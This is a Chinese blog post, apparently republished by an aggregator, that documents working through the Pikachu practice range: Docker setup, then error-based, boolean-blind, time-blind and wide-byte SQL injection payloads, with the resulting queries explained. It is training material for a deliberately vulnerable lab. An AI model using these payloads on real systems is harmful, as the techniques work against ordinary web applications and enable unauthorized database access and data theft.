pikachu靶场学习
Posted Jach1n
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pikachu靶场学习相关的知识,希望对你有一定的参考价值。
pikachu靶场
环境
虚拟机192.168.48.130
docker+centos8
安装
这里把启动指令写成脚本文件了,方便启动
启动完成后,访问http://your-ip:port,点击初始化安装后按照提示操作即可
docker search pikachu
docker pull area39/pikachu
docker images
vi pikachu.sh
docker run -dt --name pikachu -p 80:80 --rm area39/pikachu
chmod +x pikachu.sh
./pikachu
docker ps
-----------------------------------------------------------------
docker进入镜像
docker ps 查看containerid
docker exec -it containerid /bin/bash
mysql -u root -p 数据库密码为空密码
SQL-Inject
数字型注入(post)
这里直接用的火狐拦截重发,稍微方便些
打开控制台-网络,上面查询id,找到post请求的这个包,右键编辑重发
可以看到下面的请求主体,直接修改里面的参数就可以了
?id=1 or 1=1
?id=1 or 1
select * from 表 where id=\'1 or 1=1\'
select * from 表 where id=\'1 or 1\'
1 or 1为查找全部
发送后自动跳到修改后的请求,双击可以打开该请求的页面
字符型注入(get)
这个直接在输入框里测试就好了
\' or 1=1#
selec * from username where uid= \' \' or 1=1# \' and email=xxx.com
#号把后面的内容闭合了,与上面一样 or 1=1,1=1为真,查找全部
搜索型注入
这个跟上面用的一样
\' or 1=1#
selec * from username where uid= \' \' or 1=1# \' and email=xxx.com
#把后面的内容闭合了,与上面一样 or 1=1,1=1为真,查找全部
XX型注入
试了下刚才的发现不行,输了下单引号,发现报错信息里有个括号
构造语句如下
1\') or 1=1#
1\') or 1#
select * from 表 where uid=(\' \') and email=xxx.com
select * from 表 where uid=(\'1\')or 1=1#\') and email=xxx.com
select * from 表 where uid=1 or 1
"insert/update"注入
insert注入点击注册在用户名处插入语句
用户名处输入1’触发报错
1\' or updatexml(1,concat(0x7e,database()),0) or\'
updatexml:mysql对xml文档进行查询和修改的XPATH函数
concat:连接字符串函数
0x7e:assic码中的\' ~ \'
insert into 表名(name,passwd,sex,phone,address)value(xxx,xxx,xxx,xxx,xxx)
insert into 表名(name,passwd,sex,phone,address)value(\'1\' or updatexml(1,concat(0x7e,database()),0) or\'\',xxx,xxx,xxx,xxx)
update注入在修改个人信息处插入语句
1\' or updatexml(1,concat(0x7e,database()),0) or\'
update 表名 set sex = \'xxx \',phone=\'xxx\',address=\'xxx\',email=\'xxx\' where name = \' \'
update 表名 set sex = \'1\' or updatexml(1,concat(0x7e,database()),0) or\'\',phone=\'xxx\',address=\'xxx\',email=\'xxx\' where name = \'用户名 \'
"delete"注入
先提交一条留言,然后在点删除的时候抓包,在?id=xx后加上构造的语句
or updatexml(1,concat(0x7e,database()),0)
delete from 表名 where id=57
delete from 表名 where id=57 or updatexml(1,concat(0x7e,database()),0)
"http header"注入
抓包后在user-agent处插入语句
1\' or updatexml(1,concat(0x7e,database()),0) or\'
盲注(base on boolian)
语句后面的 \'=112\' 其实就是数据库名称的第一个字符的asc码,112对应p
allen\' and ascii(substr(database(),1,1))=112#
盲注(base on time)
先测试下看下响应时间判断是否存在注入点
allen\' and sleep(3)#
通过延迟来判断数据库的字符
判断第一个字符为p
allen\' and if((substr(database(),1,1))=\'p\',sleep(3),null)#
也可以通过更改database后的数字来判断数据库不同位置的字符
allen\' and if((substr(database(),2,1))=\'i\',sleep(3),null)#
宽字节注入
先输入用户名查询下,在查询的时候抓包
单引号会被转义为\\\' url编码为%5c
%df%5c组合为繁体字運,可以使单引号完成闭合
将请求中的name的值替换成构造的语句即可
%df\' or 1=1#
\'%df%5c%27 or 1=1#\'
\'運\' or 1=1#\'
以上是关于pikachu靶场学习的主要内容,如果未能解决你的问题,请参考以下文章